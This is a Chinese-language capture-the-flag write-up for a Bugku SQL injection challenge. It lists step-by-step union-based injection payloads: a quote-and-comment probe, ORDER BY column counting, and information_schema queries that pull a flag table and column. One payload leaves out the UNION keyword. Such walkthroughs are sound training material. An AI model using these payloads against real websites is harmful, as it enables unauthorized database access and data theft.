题目链接:https://ctf.bugku.com/challenges/detail/id/84.html
判断注入点
查看网页源码可知输入数据通过POST发送到index.php并显示出查询结果,可能需要sql注入。
如上图所示,当id为1时返回名字为“龙龙龙”的成绩单。
再测试,当id为1’时,无数据,而当id为1’#时,又正确返回了数据,推测构造的数据库查询语句可能是类似where student_id='XX'
这样的,其中XX为传入的参数。
判断字段数
经测试,当id=1' order by 1#
时,可以正常显示,直到id=1' order by 5#
时,数据不显示,可以知道一列数据有4列。
判断回显点
我们要找到能返回能够返回我们需要的信息的位置,当id=-1' select 1,2,3,4#
时候,结果如下图所示。
由此可知四列数据的显示位置。
查询相关内容
当id=-1' union select database(),2,3,4#
时,我们可以查询到库名,如下图所示。
同理,我们可以通过id=-1' union select table_name,2,3,4 from information_schema.tables where table_schema='skctf'#
查询skctf库中的表的名称,结果其中有一个表名为fl4g,很可能其中就包含了flag。
再通过id=-1' union select column_name,2,3,4 from information_schema.columns where table_schema='skctf' and table_name='fl4g'#
查询fl4g表中的列名,发现其中有一列的名称为skctf_flag。
最后通过id=-1' union select skctf_flag,2,3,4 from fl4g#
即可得到flag。